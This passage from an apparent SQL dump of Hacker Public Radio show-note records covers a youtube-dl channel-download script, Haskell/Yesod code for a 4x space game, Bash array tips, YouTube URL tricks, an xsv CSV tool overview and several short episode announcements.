\"\"\r\n</pre>\r\n<p>\r\nAnd finally we download the actual videos saving each channel in its own directory. The file names is first an <a href=\"https://en.wikipedia.org/wiki/ISO_8601\">ISO8601</a> date, then the title stored as ASCII with no space or ampersands. I then use a \"⋄\" as a delimiter before the video id.\r\n</p>\r\n<pre>\r\n\r\n# Download the list\r\nif [ -e \"${logfile}_todo\" ];\r\nthen\r\n  cat \"${logfile}_todo\" | ${youtubedl} --batch-file - --ignore-errors --no-mtime --restrict-filenames --format mp4 -o \"${savepath}\"\'/%(uploader)s/%(upload_date)s-%(title)s⋄%(id)s.%(ext)s\'\r\n  cat \"${logfile}_todo\" &gt;&gt; ${logfile}\r\nfi\r\n</pre>\r\n<p>\r\nNow you have a fast script that keeps you up to date with your feeds.\r\n</p>\r\n',30,0,1,'CC-BY-SA','youtube, youtube-dl, channels, playlists, xmlstarlet',0,0,1),
(2693,'2018-11-28','Getting started with web based game in Haskell and Elm',1146,'First steps in writing 4x space exploration game','<p>Haskell Stack: <a href=\"https://docs.haskellstack.org/en/stable/README/\">https://docs.haskellstack.org/en/stable/README/</a></p>\r\n<p>Stack is a build tool for Haskell with focus on reproducible build plans, multi-package projects, and a consistent, easy-to-learn interface. With stack, one can create new project: <kbd>stack new my-project yesod-sqlite</kbd> (more in the quick start guide: <a href=\"https://www.yesodweb.com/page/quickstart\">https://www.yesodweb.com/page/quickstart</a>)</p>\r\n\r\n<p><a href=\"https://github.com/tuturto/deep-sky/blob/baa0807dd36b61fd02174b17c10013862af4ec18/config/models\">models</a> is used to define shape of the data and Yesod uses it to generate datatypes and database for you. For example, to define a Star that has name, spectral type, luminosity class and link to StarSystem, one can write:</p>\r\n\r\n<pre><code>\r\nStar json\r\n    name Text\r\n    starSystemId StarSystemId\r\n    spectralType SpectralType\r\n    luminosityClass LuminosityClass\r\n</code></pre>\r\n\r\n<p>Custom types, like LuminosityClass, need mapping between datatype and database. In simple cases like this, Yesod can do that:\r\n\r\n<pre><code>\r\ndata LuminosityClass = Iap | Ia | Iab | Ib | II | III | IV | V | VI | VII\r\n    deriving (Show, Read, Eq)\r\nderivePersistField \"LuminosityClass\"\r\n</code></pre>\r\n\r\n<p>The \"derivePersistField\" part is template haskell call that will generate mapping needed.</p>\r\n\r\n<p>For those interested seeing some code, source is available at <a href=\"https://github.com/tuturto/deep-sky/\">https://github.com/tuturto/deep-sky/</a> (<a href=\"https://github.com/tuturto/deep-sky/tree/baa0807dd36b61fd02174b17c10013862af4ec18\">https://github.com/tuturto/deep-sky/tree/baa0807dd36b61fd02174b17c10013862af4ec18</a> is situation before lots of Elm related changes that I mentioned in passing in the episode)</p>\r\n\r\n',364,107,0,'CC-BY-SA','haskell, yesod',0,0,1),
(2703,'2018-12-12','Fog of war in Yesod based game',1515,'How to implement fog of war system in turn based web game','<p>Duality of the universe: there\'s true state of the universe used in simulation and there\'s state the the players perceive. These most likely will always be in conflict. One possible solution is to separate these completely. Perform simulation in one system and record what players see in other.</p>\r\n\r\n<p>For every type of entity in the game, there\'s two sets of data: real and reported. Reports are tied to time and faction. Examples are given for planets. Thus, we have <em>Planet</em>, <em>PlanetReport</em> and <em>CollatedPlanetReport</em>. First is the real entity, second is report of that entity tied in time and faction. Third one is aggregated information a faction has of given entity. In database two first ones are:</p>\r\n\r\n<pre><code>\r\nPlanet json\r\n    name Text\r\n    position Int\r\n    starSystemId StarSystemId\r\n    ownerId FactionId Maybe\r\n    gravity Double\r\n    SystemPosition starSystemId position\r\n    deriving Show\r\n\r\nPlanetReport json\r\n    planetId PlanetId\r\n    ownerId  FactionId Maybe\r\n    starSystemId StarSystemId\r\n    name Text Maybe\r\n    position Int Maybe\r\n    gravity Double Maybe\r\n    factionId FactionId\r\n    date Int\r\n    deriving Show\r\n</code></pre>\r\n<p>Third one is defined as a datatype:</p>\r\n\r\n<pre><code>\r\ndata CollatedPlanetReport = CollatedPlanetReport\r\n    { cprPlanetId :: Key Planet\r\n    , cprSystemId :: Key StarSystem\r\n    , cprOwnerId  :: Maybe (Key Faction)\r\n    , cprName     :: Maybe Text\r\n    , cprPosition :: Maybe Int\r\n    , cprGravity  :: Maybe Double\r\n    , cprDate     :: Int\r\n    } deriving Show\r\n</code></pre>\r\n\r\n<p>Data from database need to be transformed before working on it. Usually it\'s 1:1 mapping, but sometimes it makes sense to enrich it (turning IDs into names for example). For this we use <em>ReportTransform</em> type class:</p>\r\n\r\n<pre><code>\r\n-- | Class to transform a report stored in db to respective collated report\r\nclass ReportTransform a b where\r\n    fromReport :: a -&gt; b\r\n\r\ninstance ReportTransform PlanetReport CollatedPlanetReport where\r\n    fromReport report =\r\n	CollatedPlanetReport (planetReportPlanetId report)\r\n			     (planetReportStarSystemId report)\r\n			     (planetReportOwnerId report)\r\n			     (planetReportName report)\r\n			     (planetReportPosition report)\r\n			     (planetReportGravity report)\r\n			     (planetReportDate report)\r\n</code></pre>\r\n\r\n<p>To easily combine bunch of collated reports together, we define instances\r\n    of <em>semigroup</em> and <em>monoid</em> for collated report data.\r\n    Semigroup defines an associative binary operation (&lt;&gt;) and monoid defines a zero or empty item (mempty). My explanation about Monoid and Semigroup were a bit rambling, so maybe have a look at <a href=\"https://wiki.haskell.org/Monoid\">https://wiki.haskell.org/Monoid</a> which explains it in detail.</p>\r\n\r\n<pre><code>\r\ninstance Semigroup CollatedPlanetReport where\r\n    (&lt;&gt;) a b = CollatedPlanetReport (cprPlanetId a)\r\n				    (cprSystemId a)\r\n				    (cprOwnerId a &lt;|&gt; cprOwnerId b)\r\n				    (cprName a &lt;|&gt; cprName b)\r\n				    (cprPosition a &lt;|&gt; cprPosition b)\r\n				    (cprGravity a &lt;|&gt; cprGravity b)\r\n				    (max (cprDate a) (cprDate b))\r\n\r\ninstance Monoid CollatedPlanetReport where\r\n    mempty = CollatedPlanetReport (toSqlKey 0) (toSqlKey 0) Nothing Nothing Nothing Nothing 0\r\n</code></pre>\r\n\r\n<p>In some cases there might be a list of collated reports that are about different entities of same type (several reports for every planet in solar system). For those cases, we need a way to tell what reports belong together:</p>\r\n\r\n<pre><code>\r\n-- | Class to indicate if two reports are about same entity\r\nclass Grouped a where\r\n    sameGroup :: a -&gt; a -&gt; Bool\r\n\r\ninstance Grouped PlanetReport where\r\n    sameGroup a b =\r\n	planetReportPlanetId a == planetReportPlanetId b\r\n</code></pre>\r\n\r\n<p>After this, processing a list of reports for same entity is short amount of very general code:</p>\r\n\r\n<pre><code>\r\n-- | Combine list of reports and form a single collated report\r\n--   Resulting report will have facts from the possibly partially empty reports\r\n--   If a fact is not present for a given field, Nothing is left there\r\ncollateReport :: (Monoid a, ReportTransform b a) =&gt; [b] -&gt; a\r\ncollateReport reports = mconcat (map fromReport reports)\r\n</code></pre>\r\n\r\n<p>For reports of multiple entities is bit more complex, as they need to be sorted first, but the code is similarly general:</p>\r\n\r\n<pre><code>\r\n-- | Combine list of reports and form a list of collated reports\r\n--   Each reported entity is given their own report\r\ncollateReports :: (Grouped b, Monoid a, ReportTransform b a) =&gt; [b] -&gt; [a]\r\ncollateReports [] = []\r\ncollateReports s@(x:_) = collateReport itemsOfKind : collateReports restOfItems\r\n    where split = span (sameGroup x) s\r\n	  itemsOfKind = fst split\r\n	  restOfItems = snd split\r\n</code></pre>\r\n\r\n<p>Final step is to either render reports as HTML or send them as JSON back to client. For JSON case we need one more type class instance (ToJSON) that can be automatically generated. After that handler function can be defined. After authenticating the user and checking that they are member of a faction, reports of specific planet (defined by its primary key) are retrieved from database, collated, turned into JSON and sent back to client:</p>\r\n\r\n<pre><code>\r\n$(deriveJSON defaultOptions {fieldLabelModifier = drop 3} \'\'CollatedPlanetReport)\r\n\r\ngetApiPlanetR :: Key Planet -&gt; Handler Value\r\ngetApiPlanetR planetId = do\r\n    (_, _, fId) &lt;- apiRequireFaction\r\n    loadedPlanetReports &lt;- runDB $ selectList [ PlanetReportPlanetId ==. planetId\r\n					      , PlanetReportFactionId ==. fId ] [ Asc PlanetReportDate ]\r\n    let planetReport = collateReport $ map entityVal loadedPlanetReports :: CollatedPlanetReport\r\n    return $ toJSON planetReport\r\n</code></pre>\r\n\r\n<p>For those interested seeing some code, source is available at <a href=\"https://github.com/tuturto/deep-sky/\">https://github.com/tuturto/deep-sky/</a> (<a href=\"https://github.com/tuturto/deep-sky/tree/baa0807dd36b61fd02174b17c10013862af4ec18\">https://github.com/tuturto/deep-sky/tree/baa0807dd36b61fd02174b17c10013862af4ec18</a> is situation before lots of Elm related changes that I mentioned in passing in the previous episode)</p>\r\n\r\n',364,107,0,'CC-BY-SA','haskell, yesod',0,0,1),
(2692,'2018-11-27','YouTube URL tricks',436,'URL tricks for YouTube to enhance viewing experience and an overview of my viewing methodology','<h2>YouTube URL Tricks by Desearcher</h2>\r\n<br/><table><tr><th>Recommended Episode</th></tr><tr><td><a href=\"https://hackerpublicradio.org/eps.php?id=2675\">YouTube Playlists</a> by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td></tr></table>\r\n<br/><table><tr><th colspan=\"2\">User Upload playlist</th></tr><tr><td>BEFORE</td><td><code>https://www.youtube.com/channel/UCAL3JXZSzSm8AlZyD3nQdBA</code></td></tr><tr><td>AFTER</td><td><code>https://www.youtube.com/playlist?list=UUAL3JXZSzSm8AlZyD3nQdBA</code></td></tr></table>\r\n<br/><table><tr><th colspan=\"2\">Embeded Player</th></tr><tr><td>BEFORE</td><td><code>https://www.youtube.com/playlist?list=UUAL3JXZSzSm8AlZyD3nQdBA</code></td></tr><tr><td>AFTER</td><td><code>https://www.youtube.com/embed?list=UUAL3JXZSzSm8AlZyD3nQdBA</code></td></tr></table>\r\n<br/><table><tr><th colspan=\"2\">Watch Later</th></tr><tr><td>NORMAL</td><td><code>https://www.youtube.com/playlist?list=WL</code></td></tr><tr><td>EMBED</td><td><code>https://www.youtube.com/embed?list=WL</code></td></tr></table>\r\n<br/><table><tr><th>Show \"Remove Watched\" Button in Watch Later queue</th></tr><tr><td><code>https://www.youtube.com/playlist?list=WL&amp;disable_polymer=true</code></td></tr></table>\r\n<br/><table><tr><th colspan=\"2\">Chrome App trick to maximize viewing area</th></tr><tr><td>Watch Later</td><td><code>chrome -app=\"https://www.youtube.com/embed?list=WL\"</code></td></tr><tr><td>Playlist</td><td><code>chrome -app=\"https://www.youtube.com/embed?list=PLZHQObOWTQDMsr9K-rj53DwVRMYO3t5Yr\"</code></td></tr></table>\r\n<br/><table><tr><th>Play On TV</th></tr><tr><td><code>https://www.youtube.com/pair</code></td></tr></table>\r\n<br/><table><tr><th>TCL Roku TV</th></tr><tr><td><a href=\"https://www.roku.com/products/finder/roku-tv\">Roku Product List</a></td></tr></table>\r\n',371,0,0,'CC-BY-SA','YouTube,URL,Chrome,Roku,Smart TV',0,0,1),
(2709,'2018-12-20','Bash Tips - 16',1440,'Arrays in Bash (part 1)','<h1 id=\"bash-tips---16\">Bash Tips - 16 <small><small>(Further auxiliary Bash tips)</small></small></h1>\r\n<h2 id=\"arrays-in-bash\">Arrays in Bash</h2>\r\n<p>This is the first of a small group of shows on the subject of arrays in Bash. It is also the sixteenth show in the <em>Bash Tips</em> sub-series.</p>\r\n<p>We have encountered Bash arrays at various points throughout this sub-series, and have even seen a number of examples, but the subject has never been examined in detail. This group of shows intends to make good this deficiency.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2709/full_shownotes.html\">viewed here</a>.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li>Section on <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Arrays\">“Bash Arrays”</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Linux Documentation Project: <a href=\"https://www.tldp.org/LDP/abs/html/index.html\">Advanced Bash-Scripting Guide</a>\r\n<ul>\r\n<li><a href=\"https://www.tldp.org/LDP/abs/html/arrays.html\">Chapter 27: Arrays</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></p></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 “<em>More supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2639\">HPR episode 2639 “<em>Some ancillary Bash tips - 9</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\">HPR episode 2649 “<em>More ancillary Bash tips - 10</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2659\">HPR episode 2659 “<em>Further ancillary Bash tips - 11</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2669\">HPR episode 2669 “<em>Additional ancillary Bash tips - 12</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2679\">HPR episode 2679 “<em>Extra ancillary Bash tips - 13</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2689\">HPR episode 2689 “<em>Bash Tips - 14 (Some auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2699\">HPR episode 2699 “<em>Bash Tips - 15 (More auxiliary Bash tips)</em>”</a></li>\r\n</ol></li>\r\n</ul>\r\n<ul>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2709/bash16_ex1.sh\">bash16_ex1.sh</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,array,indexed array,associative array',0,0,1),
(2713,'2018-12-26','Resources in 4x game',1252,'One way to implement data types for raw resources in Haskell','<p>Raw resources are integral part for most 4x games. Here’s one way of modeling them in Haskell. I wanted a system that is easy to use, doesn’t require too much typing and is type safe.</p>\r\n<p>RawResource is basic building block:</p>\r\n<pre><code>newtype RawResource a = RawResource { unRawResource :: Int }\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p>It can be parametrised with anything, but I’m using three different types:</p>\r\n<pre><code>data Biological = Biological\r\ndata Mechanical = Mechanical\r\ndata Chemical = Chemical</code></pre>\r\n<p>Example of defining harvest being 100 units of biological raw resources:</p>\r\n<pre><code>  harvest :: RawResource Biological\r\n  harvest = RawResource 100</code></pre>\r\n<p>Raw resources are often manipulated (added and subtracted mostly). Defining Num instance allows us to use them as numbers:</p>\r\n<pre><code>instance Num (RawResource t) where\r\n    (+) (RawResource a) (RawResource b) = RawResource $ a + b\r\n    (-) (RawResource a) (RawResource b) = RawResource $ a - b\r\n    (*) (RawResource a) (RawResource b) = RawResource $ a * b\r\n    abs (RawResource a) = RawResource $ abs a\r\n    signum (RawResource a) = RawResource $ signum a\r\n    fromInteger a = RawResource $ fromInteger a</code></pre>\r\n<p>For example, adding harvest to stock pile:</p>\r\n<pre><code>  stock :: RawResource Biological\r\n  stock = RawResource 1000\r\n\r\n  harvest :: RawResource Biological\r\n  harvest = RawResource 100\r\n\r\n  newStock = stock + harvest</code></pre>\r\n<p>Comparing size of two resource piles is common operation. Ord instance has methods we need for comparing:</p>\r\n<pre><code>instance Ord (RawResource t) where\r\n    (&lt;=) (RawResource a) (RawResource b) = a &lt;= b</code></pre>\r\n<p>One function is enough, as rest is defined in terms of it. Sometimes (usually for reasons of optimization), one might want to define other functions too.</p>\r\n<p>Another way to add bunch of resources of same type together is defining Monoid instance:</p>\r\n<pre><code>instance Semigroup (RawResource t) where\r\n    (&lt;&gt;) a b = a + b\r\n\r\ninstance Monoid (RawResource t) where\r\n    mempty = RawResource 0</code></pre>\r\n<p>For example, combining harvests of many fields can be achieved as:</p>\r\n<pre><code>  harvests :: [RawResource Biological]\r\n  harvests = [RawResource 20, RawResource 50, RawResource 25]\r\n\r\n  total :: RawResource Biological\r\n  total = mappend harvests</code></pre>\r\n<p>All these functions keep track of type of resources being manipulated. Compiler will emit an error if two different types of resources are being mixed together.</p>\r\n<p>Raw resources are often grouped together for specific purpose. This again uses phantom types to keep track the intended usage:</p>\r\n<pre><code>data RawResources a = RawResources\r\n    { ccdMechanicalCost :: RawResource Mechanical\r\n    , ccdBiologicalCost :: RawResource Biological\r\n    , ccdChemicalCost :: RawResource Chemical\r\n    } deriving (Show, Read, Eq)\r\n\r\ndata ResourceCost = ResourceCost\r\ndata ConstructionSpeed = ConstructionSpeed\r\ndata ConstructionLeft = ConstructionLeft\r\ndata ConstructionDone = ConstructionDone\r\ndata ResourcesAvailable = ResourcesAvailable</code></pre>\r\n<p>And in order to be able to combine piles of RawResources, we’ll define Semigroup and Monoid instances. Notice how both instances make use of Semigroup and Monoid instances of RawResource:</p>\r\n<pre><code>instance Semigroup (RawResources t) where\r\n    (&lt;&gt;) a b = RawResources\r\n        { ccdMechanicalCost = ccdMechanicalCost a &lt;&gt; ccdMechanicalCost b\r\n        , ccdBiologicalCost = ccdBiologicalCost a &lt;&gt; ccdBiologicalCost b\r\n        , ccdChemicalCost = ccdChemicalCost a &lt;&gt; ccdChemicalCost b\r\n        }\r\n\r\ninstance Monoid (RawResources t) where\r\n    mempty = RawResources\r\n        { ccdMechanicalCost = mempty\r\n        , ccdBiologicalCost = mempty\r\n        , ccdChemicalCost = mempty\r\n        }</code></pre>\r\n<p>For those interested seeing some code, source is available at <a href=\"https://github.com/tuturto/deep-sky/\" class=\"uri\">https://github.com/tuturto/deep-sky/</a> (<a href=\"https://github.com/tuturto/deep-sky/tree/baa0807dd36b61fd02174b17c10013862af4ec18\" class=\"uri\">https://github.com/tuturto/deep-sky/tree/baa0807dd36b61fd02174b17c10013862af4ec18</a> is situation before lots of Elm related changes that I mentioned in passing in the previous episode)</p>\r\n',364,107,0,'CC-BY-SA','haskell',0,0,1),
(2719,'2019-01-03','Bash Tips - 17',2056,'Arrays in Bash (part 2)','<h1 id=\"bash-tips---17\">Bash Tips - 17 <small><small>(Additional auxiliary Bash tips)</small></small></h1>\r\n<h2 id=\"arrays-in-bash\">Arrays in Bash</h2>\r\n<p>This is the second of a small group of shows on the subject of arrays in Bash. It is also the seventeenth show in the <em>Bash Tips</em> sub-series.</p>\r\n<p>In the last show we saw the two types of arrays, and learned about the multiple ways of creating them and populating them. We also looked at how array elements and entire arrays are accessed.</p>\r\n<p>Now we want to continue looking at array access and some of the various parameter expansion operations available.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2719/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li>Section on <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Arrays\">“Bash Arrays”</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Linux Documentation Project: <a href=\"https://www.tldp.org/LDP/abs/html/index.html\">Advanced Bash-Scripting Guide</a>\r\n<ul>\r\n<li><a href=\"https://www.tldp.org/LDP/abs/html/arrays.html\">Chapter 27: Arrays</a></li>\r\n</ul></li>\r\n<li><p>Wikipedia article entitled <a href=\"https://en.wikipedia.org/wiki/Fibonacci_number\">“<em>Fibonacci Number</em>”</a></p></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></p></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 “<em>More supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2639\">HPR episode 2639 “<em>Some ancillary Bash tips - 9</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\">HPR episode 2649 “<em>More ancillary Bash tips - 10</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2659\">HPR episode 2659 “<em>Further ancillary Bash tips - 11</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2669\">HPR episode 2669 “<em>Additional ancillary Bash tips - 12</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2679\">HPR episode 2679 “<em>Extra ancillary Bash tips - 13</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2689\">HPR episode 2689 “<em>Bash Tips - 14 (Some auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2699\">HPR episode 2699 “<em>Bash Tips - 15 (More auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2709\">HPR episode 2709 “<em>Bash Tips - 16 (Further auxiliary Bash tips)</em>”</a></li>\r\n</ol></li>\r\n</ul>\r\n<ul>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2719/bash17_ex1.sh\">bash17_ex1.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2719/bash17_ex2.sh\">bash17_ex2.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2719/bash17_ex3.sh\">bash17_ex3.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2719/bash17_ex4.sh\">bash17_ex4.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2719/bash17_ex5.sh\">bash17_ex5.sh</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,array,indexed array,associative array',0,0,1),
(2694,'2018-11-29','Bandit Update',699,'NYbill does a quick episode to mention there are new Over the Wire, Bandit levels out.','<p>(No Spoilers)</p>\r\n<p>NYbill does a quick episode to mention there are new Over the Wire, Bandit levels out.</p>\r\n<p><a href=\"https://overthewire.org/wargames/bandit/bandit0.html\" class=\"uri\">https://overthewire.org/wargames/bandit/bandit0.html</a></p>\r\n<p>Original Episode:</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=2138\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2138</a></p>\r\n',235,0,0,'CC-BY-SA','Hacking, War games, Linux',0,0,1),
(2697,'2018-12-04','The Linux Shutdown Command Explained',402,'A short pod cast about the linux shutdown command','<p>\r\nA short podcast about the shutdown command \r\n</p>\r\n<p>\r\n<a href=\"https://linuxhandbook.com/linux-shutdown-command/\">https://linuxhandbook.com/linux-shutdown-command/</a>\r\n</p>',129,0,0,'CC-BY-SA','Linux,shutdown',0,0,1),
(2698,'2018-12-05','XSV for fast CSV manipulations - Part 1',1837,'Written in Rust, xsv is my new favorite tool for manipulating csv files','<h1 id=\"xsv-for-fast-csv-manipulations---part-1-basic-usage\">XSV for fast CSV manipulations - Part 1: Basic Usage</h1>\r\n<blockquote>\r\n<p><a href=\"https://github.com/BurntSushi/xsv\" class=\"uri\">https://github.com/BurntSushi/xsv</a></p>\r\n</blockquote>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>xsv is a command line program for indexing, slicing, analyzing, splitting and joining CSV files. Commands should be simple, fast and composable:</p>\r\n<ol>\r\n<li>Simple tasks should be easy.</li>\r\n<li>Performance trade offs should be exposed in the CLI interface.</li>\r\n<li>Composition should not come at the expense of performance.</li>\r\n</ol>\r\n<p>We will be using the CSV file provided in the <a href=\"https://burntsushi.net/stuff/worldcitiespop.csv\">documentation</a>.</p>\r\n<h2 id=\"commands-covered-in-this-episode\">Commands covered in this episode</h2>\r\n<ul>\r\n<li>count - Count the rows of CSV data</li>\r\n<li>headers - Show the headers of CSV data, or show the intersection of all headers between many CSV files</li>\r\n<li>index - Create an index for a CSV file. This is very quick and provides constant time indexing into the CSV file.</li>\r\n<li>frequency - Build frequency tables of each column in CSV data.</li>\r\n<li>stats - Show basic types and statistics of each column in the CSV file. (i.e., mean, standard deviation, median, range, etc.)</li>\r\n<li>sort - Sort CSV data</li>\r\n<li>select - Select or re-order columns from CSV data.</li>\r\n<li>slice - Slice rows from any part of a CSV file. When an index is present, this only has to parse the rows in the slice (instead of all rows leading up to the start of the slice).</li>\r\n<li>search - Run a regex over CSV data. Applies the regex to each field individually and shows only matching rows.</li>\r\n<li>table - Show aligned output of any CSV data using elastic tabstops.</li>\r\n<li>flatten - A flattened view of CSV records. Useful for viewing one record at a time.</li>\r\n</ul>\r\n',300,0,0,'CC-BY-SA','CSV,XSV',0,0,1),
(2700,'2018-12-07','Episode 3000',26830,'We commemorate the 300 Today with a Techie and 2700 Hacker Public Radio shows','<p>\r\nOn the 19th of September 2005 a group of individuals got together to release their first show on the podcast network \"Today with a Techie\".\r\n</p>\r\n<p>\r\nThe idea was to share knowledge through podcasting. Now 13 years, 2 months, 19 days later the project is still going strong, and you dear listener are a part of it.\r\n</p>\r\n<p>\r\nToday marks the 2700th episode of \"Hacker Public Radio\" and coupled with the 300 shows from \"Today with a Techie\", marks the 3000th episode of this project.\r\n</p>\r\n<p>\r\nA big thanks goes out to all 354 individual hosts who together contributed 1452 hours of shows to the archive. \r\n</p>\r\n<p>\r\nThere is about 50 giga bytes of mp3 files alone. \r\n</p>\r\n<p>\r\nWhich played back to back gives 60 days 11 hours 40 minutes 21 seconds of continuous play. \r\n</p>\r\n<p>\r\nIf you started listening today and played the shows 24 x 7 you wouldn\'t be finished listening until Monday, February 5th, 2019.\r\n</p>\r\n<p>\r\nOf course by then there would be 39 additional shows released, so you still wouldn\'t be finished.\r\n</p>\r\n<p>\r\nDespite all this we still don\'t have a wikipedia page. If you can, please take the time to create one for us. There is plenty of supporting information in the \"In the Press\" section of our about page.\r\n</p>\r\n<p>\r\nSo to mark the 3000th episode we are going to do nothing more than list the shows, host and summary where available.\r\n</p>\r\n<p>\r\nJust doing that alone creates a whopping 7 and a half hour episode. \r\n</p>\r\n<p>\r\nAre you l33t enough to listen to it all ?\r\n</p>\r\n<p>\r\nLet\'s go.\r\n</p>',30,0,0,'CC-BY-SA','TWaT, HPR, 3000',0,0,1),
(2701,'2018-12-10','First impressions of the Odroid-go',1926,'I ramble on about my first impressions of the odroid-go','<p>I ramble on about my impressions of the Odroid-go, a 32 USD handheld system similar to a gameboy built to run game system emulators and various other free software. It’s also built to be harcked.</p>\r\n<p><a href=\"https://wiki.odroid.com/odroid_go/odroid_go\" class=\"uri\">https://wiki.odroid.com/odroid_go/odroid_go</a></p>\r\n<p>The summary is this is an easy to put together kit requiring no soldering, and runs classic console emulators pretty well. Well worth the 32 USD plus shipping in my opinion. Claims 10 hours of game play and that seems about right so far for me.</p>\r\n<p>The systems emulated out of the box are:</p>\r\n<p>NES, Game Gear, Gameboy, Gameboy Color, Sega Master System, ColecoVision. Other systems of similar or earlier vintages have emulators that you have to install separately and boot into to run. I don’t think it will emulate newer systems. No Gameboy Advance emulator and I don’t see a Mame emulator. However, I do think this ‘might’ support Mame for some of the early arcade games like Asteroids and Space Invaders.</p>',151,103,0,'CC-0','Odroid-go',0,0,1),
(2702,'2018-12-11','Audacity set up and response to episode 2658',107,'Just a quick response to Ep2658','<p>Hi Guys and Girls in HPR land.</p>\r\n<p>This is Tony Hughes in Blackpool in the UK back for another show. I normally talk about my own stuff but while it is related to what I have been doing lately this is a response to Al’s interview with Dave in Episode 2658 and how to setup Audacity to record and edit audio for best sound quality when podcasting.</p>\r\n<p>I’ve recently joined the mintCast podcast team and have been editing and doing the post production of the audio recording for the last couple of episodes. The information that Dave provided during the show was invaluable in helping me in this task, I also have to give a shout out to Rob the previous host who also spent an hour and a half giving a tutorial on his post production work flow, but the additional information given by Dave in this show was also a big help.</p>\r\n<p>I’ve now purchased a boom arm and pop filter for my mic to 